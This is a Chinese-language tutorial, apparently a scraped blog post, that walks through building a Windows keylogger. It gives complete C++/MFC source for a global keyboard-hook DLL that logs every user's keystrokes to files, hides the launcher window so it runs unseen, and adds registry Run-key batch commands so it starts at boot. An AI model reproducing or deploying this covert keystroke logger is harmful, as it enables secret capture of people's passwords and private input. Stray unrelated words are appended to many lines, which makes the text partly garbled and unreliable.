本文的大部份內容屬於對一篇網文的實踐與練習,同時參考的還有一本書,在此向網文與書的做者表示敬意。html
這個程序是一個windows系統鍵盤監控程序,隨着開機自動啓動,能夠監控系統中各用戶的鍵盤,並將按鍵記錄寫在指定的log文件裏。windows
程序分爲兩個部分:全局鉤子DLL和一個隱藏的單文檔應用程序。函數
建立基於「MFC AppWizard(dll)」的「擴展MFC DLL(Extension MFC DLL)」類型工程KeyBoardHookui
在自動生成的源文件KeyBoardHook.cpp中,this
定義全局變量:spa
#pragma data_seg("publicdata") HHOOK hhook = NULL; HINSTANCE pinstance = NULL; #pragma data_seg()
在DLL入口函數中,添加獲取鉤子實例句柄的代碼:設計
extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // Remove this if you use lpReserved UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("KEYBOARDHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance)) return 0; new CDynLinkLibrary(KeyBoardHookDLL); pinstance = hInstance; //獲取鉤子實例句柄 } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("KEYBOARDHOOK.DLL Terminating!\n"); // Terminate the library before destructors are called AfxTermExtensionModule(KeyBoardHookDLL); } return 1; // ok }
全局鉤子的具體實現代碼:日誌
//保存日誌文件 extern "C" void SaveLog(char* c) { //printf("剛纔點擊的是%c鍵/n", &c); //char buffer[80]; //wsprintf(buffer, "c的值是%c", c); //AfxMessageBox(buffer); const int MAX_BUFFER_LEN = 500; char szBuffer[MAX_BUFFER_LEN]; DWORD dwNameLen; dwNameLen = MAX_BUFFER_LEN; GetUserName(szBuffer, &dwNameLen); CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } //鍵盤鉤子回調函數 extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam) { LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam); //AfxMessageBox("huidiao"); if(nCode == HC_ACTION){ if(lParam & 0x80000000){ char c[1]; c[0]=wParam; //AfxMessageBox(c); SaveLog(c); } } return Result; } //安裝鉤子,即建立了鉤子WH_KEYBOARD到鉤子處理函數KeyboardPro()的連接 extern "C" bool WINAPI InstallHook() { // AfxMessageBox("anzhuang"); hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0); if(hhook != NULL) return true; else return false; }
用def文件導出DLL函數,在KeyBoardHook.def中添加:code
EXPORTS ; Explicit exports can go here InstallHook @1 //dll導出函數的名稱爲InstallHook,序號爲1
至此,編譯並運行,程序的DLL部分便完成了。orm
建立一個MFC單文檔應用程序工程KeyBoardHookApp,將剛纔DLL工程中編譯好的KeyBoardHook.dll和KeyBoardHook.lib拷貝到KeyBoardHookApp工程的Debug目錄中。
設置鏈接文件:在 工程->設置->鏈接 的「對象/庫模塊 」中填寫KeyBoardHook.lib
在頭文件KeyBoardHookApp.h中添加導出函數聲明,以知足在此應用中調用DLL中的函數:
//安裝鉤子函數 extern "C" bool WINAPI InstallHook();
在視類KeyBoardHookAppView.cpp中重載虛函數OnInitialUpdate(),並添加代碼完成對鍵盤鉤子的安裝:
具體操做能夠利用VC++類嚮導自動生成代碼:ctrl+w創建類嚮導,而後在class name中選擇帶...View的視類,選擇類自己的Object ID,在Message中選擇OnInitialUpdate,雙擊Member functions添加代碼。
void CKeyBoardHookAppView::OnInitialUpdate() { CView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class InstallHook(); }
最後,將本單文檔應用程序的窗口進行隱藏,使之成爲一個後臺監控程序:
在KeyBoardHookApp.cpp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW)改成m_pMainWnd->ShowWindow(SW_HIDE)便可。
使用bat批處理來製做安裝和卸載
md C:\keyboard @reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f
以管理員身份運行「安裝.bat」 ,程序在系統重啓後生效。日誌文件放在C:\keyboard目錄下。
參考:
《精通Windows程序設計——基於Visual C++實現》 人民郵電出版社
《利用鍵盤鉤子捕獲Windows鍵盤動做》 http://www.yesky.com/328/1890328.shtml